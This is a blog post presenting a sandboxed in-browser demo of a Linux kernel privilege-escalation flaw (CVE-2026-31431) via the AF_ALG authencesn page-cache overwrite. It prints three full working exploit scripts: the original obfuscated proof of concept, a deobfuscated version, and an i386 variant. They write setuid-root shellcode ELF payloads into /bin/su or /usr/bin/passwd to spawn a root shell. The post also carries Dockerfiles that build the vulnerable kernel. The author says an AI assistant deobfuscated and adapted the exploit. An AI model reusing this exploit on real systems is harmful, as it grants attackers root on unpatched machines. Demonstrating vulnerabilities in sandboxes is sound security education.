Copy Fail Demo
- Published on
Demo
Downloads ~15 MB
Live Demo Above ⬆️. Mess around with it!
Steps:
- Start the demo
- Login: username:
demo, password:demo - (optional) Play around with the non-root user
- Run the exploit script
./copy_fail.py - Play around with the root user
Introduction
Honestly, I don’t have a security background nor have kernel experience so this post isn’t going to be an analysis of the exploit. I did however wanted to create a demo since I’ve used linux for a very long time as a daily driver starting from 2013 until 2022 where I fully switched to MacOS (on a macbook air + mac mini) when the m-series chips came out.
You can read about the exploit here and the actual write up here.
Demo Setup
Caution
This is an active CVE and some distros may have not pushed out the patched kernels. Do not execute this exploit on systems you do not own! This is the purpose of this live demo so you can play around in a sandboxed environment!
Exploit
This is the original poc. It’s obfuscated and contains a compressed payload to meet their 732 bytes headline.
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
I’ve asked Claude to un-obfuscated it and remove the zlib compressed payload.
#!/usr/bin/env python3
import os
import socket
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_AUTHSIZE = 5
ALG_SET_OP = 3
ALG_SET_IV = 2
ALG_SET_ASSOCLEN = 4
# authencesn(hmac(sha256), cbc(aes)) key layout:
# rtattr header (8 bytes): rta_len=8, rta_type=CRYPTO_AUTHENC_KEYA_PARAM, enckeylen=16
# + 16-byte HMAC-SHA256 key (all zeros)
# + 16-byte AES-128 key (all zeros)
AEAD_KEY = bytes.fromhex("0800010000000010") + b"\x00" * 32
AUTH_TAG_LEN = 4
IV_LEN = 16
ASSOC_LEN = 8
def write_4bytes(fd, target_offset, chunk):
alg_sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # 38 = AF_ALG
alg_sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
alg_sock.setsockopt(SOL_ALG, ALG_SET_KEY, AEAD_KEY)
alg_sock.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, None, AUTH_TAG_LEN)
op_sock, _ = alg_sock.accept()
splice_len = target_offset + 4
# AAD = seqno_hi (ignored) || seqno_lo (the 4 bytes we want written)
aad = b"\x00" * 4 + chunk
ancdata = [
(SOL_ALG, ALG_SET_OP, (0).to_bytes(4, "little")), # decrypt
(SOL_ALG, ALG_SET_IV, IV_LEN.to_bytes(4, "little") + b"\x00" * IV_LEN),
(SOL_ALG, ALG_SET_ASSOCLEN, ASSOC_LEN.to_bytes(4, "little")),
]
op_sock.sendmsg([aad], ancdata, 32768) # 32768 = MSG_MORE
pipe_r, pipe_w = os.pipe()
os.splice(fd, pipe_w, splice_len, offset_src=0)
os.splice(pipe_r, op_sock.fileno(), splice_len)
try:
op_sock.recv(ASSOC_LEN + target_offset)
except OSError:
pass
os.close(pipe_r)
os.close(pipe_w)
op_sock.close()
alg_sock.close()
# Minimal x86-64 ELF: setuid(0) + execve("/bin/sh", NULL, NULL)
# Entry point is 0x400078, which is right after the ELF + program headers.
PAYLOAD_ELF = (
# --- ELF header (64 bytes) ---
b"\x7f\x45\x4c\x46\x02\x01\x01\x00" # magic, 64-bit, LE, ELF version 1
b"\x00\x00\x00\x00\x00\x00\x00\x00" # OS/ABI = UNIX System V, padding
b"\x02\x00\x3e\x00\x01\x00\x00\x00" # ET_EXEC, EM_X86_64, e_version = 1
b"\x78\x00\x40\x00\x00\x00\x00\x00" # e_entry = 0x400078
b"\x40\x00\x00\x00\x00\x00\x00\x00" # e_phoff = 0x40 (right after this header)
b"\x00\x00\x00\x00\x00\x00\x00\x00" # e_shoff = 0 (no section headers)
b"\x00\x00\x00\x00\x40\x00\x38\x00" # e_flags=0, e_ehsize=64, e_phentsize=56
b"\x01\x00\x00\x00\x00\x00\x00\x00" # e_phnum=1, e_shentsize/shnum/shstrndx=0
# --- Program header (56 bytes) ---
b"\x01\x00\x00\x00\x05\x00\x00\x00" # p_type = PT_LOAD, p_flags = PF_R|PF_X
b"\x00\x00\x00\x00\x00\x00\x00\x00" # p_offset = 0 (load from start of file)
b"\x00\x00\x40\x00\x00\x00\x00\x00" # p_vaddr = 0x400000
b"\x00\x00\x40\x00\x00\x00\x00\x00" # p_paddr = 0x400000
b"\x9e\x00\x00\x00\x00\x00\x00\x00" # p_filesz = 158
b"\x9e\x00\x00\x00\x00\x00\x00\x00" # p_memsz = 158
b"\x00\x10\x00\x00\x00\x00\x00\x00" # p_align = 0x1000
# --- Shellcode at 0x400078 (entry point) ---
b"\x31\xc0\x31\xff" # xor eax, eax / xor edi, edi
b"\xb0\x69\x0f\x05" # mov al, 105 / syscall → setuid(0)
b"\x48\x8d\x3d\x0f\x00\x00\x00" # lea rdi, [rip+15] → points to "/bin/sh"
b"\x31\xf6" # xor esi, esi
b"\x6a\x3b\x58\x99" # push 59 / pop rax / cdq → SYS_execve, rdx=0
b"\x0f\x05" # syscall → execve("/bin/sh", NULL, NULL)
b"\x31\xff\x6a\x3c\x58" # xor edi, edi / push 60 / pop rax → SYS_exit
b"\x0f\x05" # syscall → exit(0)
b"\x2f\x62\x69\x6e\x2f\x73\x68\x00" # "/bin/sh\0"
b"\x00\x00" # pad to 4-byte boundary
)
def main():
target_fd = os.open("/bin/su", os.O_RDONLY)
offset = 0
while offset < len(PAYLOAD_ELF):
write_4bytes(target_fd, offset, PAYLOAD_ELF[offset:offset + 4])
offset += 4
os.close(target_fd)
os.system("su")
main()
Another round of claude to have a working poc in the demo. It made these changes:
- Use a 32 bit payload (the v86 library can only handle 32 bit runtime)
- Using passwd (couldn’t get it working with
su)
#!/usr/bin/env python3
"""
CVE-2026-31431 — AF_ALG authencesn page-cache overwrite exploit
The authencesn AEAD implementation copies seqno_lo (bytes 4–7 of the AAD) back
into the scatter list via scatterwalk_map_and_copy during decryption. When the
ciphertext is supplied via splice, those scatter pages are borrowed from the
file's page cache — so seqno_lo lands in the page cache at an offset determined
by the splice length. This lets an unprivileged user overwrite arbitrary offsets
in any readable file's page cache.
Overwrites /usr/bin/passwd's page cache with a setuid(0)+execve shellcode ELF,
then executes passwd to drop into a root shell.
"""
import os
import socket
# ── AF_ALG constants ──────────────────────────────────────────────────────────
AF_ALG = 38
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_AUTHSIZE = 5
ALG_SET_OP = 3
ALG_SET_IV = 2
ALG_SET_AEAD_ASSOCLEN = 4
ALG_OP_DECRYPT = 0
MSG_MORE = 0x8000
# ── AEAD key material ─────────────────────────────────────────────────────────
# authencesn(hmac(sha256), cbc(aes)) key layout:
# rtattr header (8 bytes): rta_len=8, rta_type=CRYPTO_AUTHENC_KEYA_PARAM, enckeylen=16
# + 16-byte HMAC-SHA256 key (all zeros)
# + 16-byte AES-128 key (all zeros)
AEAD_KEY = bytes.fromhex('0800010000000010') + b'\x00' * 32
AUTH_TAG_LEN = 4 # minimum accepted tag size; value is never verified
IV_LEN = 16
ASSOC_LEN = 8 # seqno_hi (4 bytes) + seqno_lo (4 bytes)
# ── Core primitive ────────────────────────────────────────────────────────────
def write_4bytes(fd, target_offset, chunk):
"""
Write the 4 bytes in `chunk` into the page cache of `fd` at `target_offset`.
Mechanism:
1. Open an authencesn AEAD socket and set chunk as seqno_lo in the AAD.
2. Send the decrypt request with MSG_MORE (ciphertext arrives via splice).
3. Splice (target_offset + 4) bytes from fd into the kernel scatter list.
This maps the file's page-cache pages into the AEAD scatterwalk.
4. Trigger the decrypt. authencesn writes seqno_lo back into the scatter
list at a struct-size-dependent offset, corrupting the page cache.
"""
alg_sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
alg_sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
alg_sock.setsockopt(SOL_ALG, ALG_SET_KEY, AEAD_KEY)
alg_sock.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, None, AUTH_TAG_LEN)
op_sock, _ = alg_sock.accept()
splice_len = target_offset + 4
# AAD = seqno_hi (ignored) || seqno_lo (chunk — the bytes we want written)
aad = b'\x00' * 4 + chunk
ancdata = [
(SOL_ALG, ALG_SET_OP, ALG_OP_DECRYPT.to_bytes(4, 'little')),
(SOL_ALG, ALG_SET_IV, IV_LEN.to_bytes(4, 'little') + b'\x00' * IV_LEN),
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, ASSOC_LEN.to_bytes(4, 'little')),
]
op_sock.sendmsg([aad], ancdata, MSG_MORE)
pipe_r, pipe_w = os.pipe()
os.splice(fd, pipe_w, splice_len, offset_src=0)
os.splice(pipe_r, op_sock.fileno(), splice_len)
try:
# Reading back triggers the decrypt and the seqno_lo write into the page cache.
# EBADMSG is expected — the ciphertext and tag are garbage.
op_sock.recv(ASSOC_LEN + target_offset)
except OSError:
pass
os.close(pipe_r)
os.close(pipe_w)
op_sock.close()
alg_sock.close()
# ── Payload ───────────────────────────────────────────────────────────────────
# Minimal i386 ELF: setuid(0) + execve("/bin//sh", ["/bin//sh", NULL], NULL)
# Entry point is 0x08048054, which is right after the ELF + program headers.
PAYLOAD_ELF = (
# --- ELF header (52 bytes) ---
b"\x7f\x45\x4c\x46\x01\x01\x01\x00" # magic, 32-bit, LE, ELF version 1
b"\x00\x00\x00\x00\x00\x00\x00\x00" # OS/ABI = UNIX System V, padding
b"\x02\x00\x03\x00\x01\x00\x00\x00" # ET_EXEC, EM_386, e_version = 1
b"\x54\x80\x04\x08" # e_entry = 0x08048054
b"\x34\x00\x00\x00" # e_phoff = 0x34 (right after this header)
b"\x00\x00\x00\x00" # e_shoff = 0 (no section headers)
b"\x00\x00\x00\x00" # e_flags = 0
b"\x34\x00\x20\x00" # e_ehsize=52, e_phentsize=32
b"\x01\x00\x28\x00\x00\x00\x00\x00" # e_phnum=1, e_shentsize/shnum/shstrndx=0
# --- Program header (32 bytes) ---
b"\x01\x00\x00\x00" # p_type = PT_LOAD
b"\x00\x00\x00\x00" # p_offset = 0 (load from start of file)
b"\x00\x80\x04\x08" # p_vaddr = 0x08048000
b"\x00\x80\x04\x08" # p_paddr = 0x08048000
b"\x75\x00\x00\x00" # p_filesz = 117
b"\x75\x00\x00\x00" # p_memsz = 117
b"\x05\x00\x00\x00" # p_flags = PF_R|PF_X
b"\x00\x10\x00\x00" # p_align = 0x1000
# --- Shellcode at 0x08048054 (entry point) ---
b"\x31\xdb" # xor ebx, ebx
b"\x31\xc0" # xor eax, eax
b"\xb0\x17" # mov al, 0x17 ; 23 = SYS_setuid
b"\xcd\x80" # int 0x80 ; setuid(0)
b"\x31\xc0" # xor eax, eax
b"\x50" # push eax ; NULL terminator for string
b"\x68\x2f\x2f\x73\x68" # push "//sh"
b"\x68\x2f\x62\x69\x6e" # push "/bin" ; esp → "/bin//sh\0"
b"\x89\xe3" # mov ebx, esp ; ebx = &"/bin//sh"
b"\x50" # push eax ; argv[1] = NULL
b"\x53" # push ebx ; argv[0] = &"/bin//sh"
b"\x89\xe1" # mov ecx, esp ; ecx = argv
b"\x31\xd2" # xor edx, edx ; envp = NULL
b"\xb0\x0b" # mov al, 0x0b ; 11 = SYS_execve
b"\xcd\x80" # int 0x80 ; execve("/bin//sh", argv, NULL)
b"\x00\x00\x00" # pad to 4-byte boundary
)
# ── Main ──────────────────────────────────────────────────────────────────────
def main():
passwd_fd = os.open('/usr/bin/passwd', os.O_RDONLY)
offset = 0
while offset < len(PAYLOAD_ELF):
write_4bytes(passwd_fd, offset, PAYLOAD_ELF[offset:offset + 4])
offset += 4
os.close(passwd_fd)
print('[*] page cache overwritten — executing passwd to spawn root shell')
os.system('passwd')
main()
WASM-Ed Linux
The v86 library was used to run an emulated i686 Linux directly in the browser with WASM. To ensure the demo worked, these versions were pinned:
- Alpine: 3.20.5
- Kernel: 6.6.136
Welcome to Alpine Linux 3.20
Kernel 6.6.136 on an i686 (/dev/ttyS0)The Dockerfile below builds the bzImage.bin and the initrd.img. It also strips out unncessary python libraries to
keep the size small and be below the cloudflare size limit.1
FROM debian:bookworm-slim@sha256:0104b334637a5f19aa9c983a91b54c89887c0984081f2068983107a6f6c21eeb AS builder
RUN apt-get update && apt-get install -y \
gcc-i686-linux-gnu \
flex \
bison \
bc \
wget \
xz-utils \
make \
&& rm -rf /var/lib/apt/lists/*
# One patch version before the exploit fix
ARG KERNEL_VERSION=6.6.136
WORKDIR /build
RUN wget -q https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-${KERNEL_VERSION}.tar.xz \
&& tar xf linux-${KERNEL_VERSION}.tar.xz
WORKDIR /build/linux-${KERNEL_VERSION}
COPY kernel-config .config
RUN make ARCH=i386 CROSS_COMPILE=i686-linux-gnu- olddefconfig \
&& make ARCH=i386 CROSS_COMPILE=i686-linux-gnu- -j$(nproc) bzImage \
&& cp arch/x86/boot/bzImage /build/bzImage
FROM scratch
COPY --from=builder /build/bzImage /bzImage.bin
FROM debian:bookworm-slim@sha256:0104b334637a5f19aa9c983a91b54c89887c0984081f2068983107a6f6c21eeb AS builder
RUN apt-get update && apt-get install -y \
cpio \
curl \
gzip \
qemu-user-static \
&& rm -rf /var/lib/apt/lists/*
# Alpine 3.20.5 x86 — pinned so the passwd binary layout stays consistent with the exploit
ARG ALPINE_MIRROR="https://dl-cdn.alpinelinux.org/alpine"
ARG MINIROOTFS="alpine-minirootfs-3.20.5-x86.tar.gz"
ARG MINIROOTFS_SHA256="a250d78b6facfd25edfb8faee7b340d29e62651364eb16651158f569672d9430"
WORKDIR /build
RUN mkdir -p rootfs \
&& curl -sLo minirootfs.tar.gz "${ALPINE_MIRROR}/v3.20/releases/x86/${MINIROOTFS}" \
&& echo "${MINIROOTFS_SHA256} minirootfs.tar.gz" | sha256sum -c - \
&& tar xzf minirootfs.tar.gz -C rootfs
RUN cp /etc/resolv.conf rootfs/etc/resolv.conf \
&& chroot rootfs /sbin/apk add --no-cache python3 shadow \
&& rm rootfs/etc/resolv.conf \
&& chroot rootfs /usr/sbin/adduser -D -h /home/demo demo \
&& echo "demo:demo" | chroot rootfs /usr/sbin/chpasswd
COPY copy_fail.py /build/copy_fail.py
RUN cp /build/copy_fail.py rootfs/home/demo/copy_fail.py \
&& chmod +x rootfs/home/demo/copy_fail.py \
&& chroot rootfs /bin/chown demo:demo /home/demo/copy_fail.py
RUN printf '#!/bin/sh\nmount -t proc proc /proc\nmount -t sysfs sys /sys\nmount -t devtmpfs devtmpfs /dev\nhostname copyfail\nexec /sbin/getty -L ttyS0 115200 vt100\n' > rootfs/init \
&& chmod +x rootfs/init
# lib-dynload: remove large modules we definitely don't need
RUN find rootfs/usr/lib/python3.*/lib-dynload -name '*.so' \( \
-name 'unicodedata.*' -o \
-name '_testcapi.*' -o \
-name '_testclinic.*' -o \
-name '_testbuffer.*' -o \
-name '_codecs_jp.*' -o \
-name '_codecs_hk.*' -o \
-name '_codecs_cn.*' -o \
-name '_codecs_kr.*' -o \
-name '_codecs_tw.*' -o \
-name '_multibytecodec.*' -o \
-name '_decimal.*' -o \
-name '_ssl.*' -o \
-name '_ctypes.*' -o \
-name '_pickle.*' -o \
-name '_sqlite3.*' -o \
-name '_curses.*' -o \
-name '_elementtree.*' -o \
-name 'pyexpat.*' -o \
-name '_asyncio.*' -o \
-name '_hashlib.*' -o \
-name '_sha2.*' -o \
-name '_blake2.*' -o \
-name '_lzma.*' \
\) -delete
# Python stdlib: strip everything not needed to run the exploit
RUN rm -rf rootfs/usr/lib/python3.*/ensurepip \
&& rm -rf rootfs/usr/lib/python3.*/idlelib \
&& rm -rf rootfs/usr/lib/python3.*/tkinter \
&& rm -rf rootfs/usr/lib/python3.*/turtledemo \
&& rm -rf rootfs/usr/lib/python3.*/distutils \
&& rm -rf rootfs/usr/lib/python3.*/lib2to3 \
&& rm -rf rootfs/usr/lib/python3.*/test \
&& rm -rf rootfs/usr/lib/python3.*/asyncio \
&& rm -rf rootfs/usr/lib/python3.*/pydoc_data \
&& rm -rf rootfs/usr/lib/python3.*/email \
&& rm -rf rootfs/usr/lib/python3.*/xml \
&& rm -rf rootfs/usr/lib/python3.*/xmlrpc \
&& rm -rf rootfs/usr/lib/python3.*/html \
&& rm -rf rootfs/usr/lib/python3.*/http \
&& rm -rf rootfs/usr/lib/python3.*/urllib \
&& rm -rf rootfs/usr/lib/python3.*/multiprocessing \
&& rm -rf rootfs/usr/lib/python3.*/unittest \
&& rm -rf rootfs/usr/lib/python3.*/logging \
&& rm -rf rootfs/usr/lib/python3.*/json \
&& rm -rf rootfs/usr/lib/python3.*/ctypes \
&& rm -rf rootfs/usr/lib/python3.*/sqlite3 \
&& rm -rf rootfs/usr/lib/python3.*/curses \
&& rm -rf rootfs/usr/lib/python3.*/dbm \
&& rm -rf rootfs/usr/lib/python3.*/zipfile \
&& rm -rf rootfs/usr/lib/python3.*/config-3.*-linux-musl \
&& rm -f rootfs/usr/lib/python3.*/_pydecimal.py \
&& rm -f rootfs/usr/lib/python3.*/turtle.py \
&& rm -f rootfs/usr/lib/python3.*/tarfile.py \
&& rm -f rootfs/usr/lib/python3.*/pydoc.py \
&& rm -f rootfs/usr/lib/python3.*/calendar.py \
&& rm -f rootfs/usr/lib/python3.*/decimal.py \
&& rm -f rootfs/usr/lib/python3.*/difflib.py \
&& rm -f rootfs/usr/lib/python3.*/pickle.py \
&& rm -f rootfs/usr/lib/python3.*/trace.py \
&& rm -f rootfs/usr/lib/python3.*/profile.py \
&& rm -f rootfs/usr/lib/python3.*/cProfile.py \
&& rm -f rootfs/usr/lib/python3.*/pstats.py \
&& rm -f rootfs/usr/lib/python3.*/timeit.py \
&& find rootfs/usr/lib/python3.* -name '__pycache__' -type d -exec rm -rf {} + 2>/dev/null; true \
&& find rootfs/usr/lib/python3.* -name '*.pyc' -delete 2>/dev/null; true
RUN ( cd rootfs && find . | cpio -o -H newc | gzip -9 ) > /build/initrd.img
FROM scratch
COPY --from=builder /build/initrd.img /initrd.img
Both the seabios.bin and the vgabios.bin can be downloaded from here.
Thoughts
I’ve longed switched to MacOS as my daily driver but linux holds a special place in my heart. This wouldn’t have affected me personally since this exploit since all the machines I’ve used linux on were single-tenent (myself) and would have already root access. I guess the concern here is running random scripts and installing software not on the official repos.
I do find it cool that you’re able to run an operating system on the browser wtih WASM and by extension, running non javascript code on the browser. One thing I want to explore in the future is comparing the performance between javascript and a WASM implementation. I want to see what workloads benefits from WASM and what point the extra overhead isn’t worth running WASM for.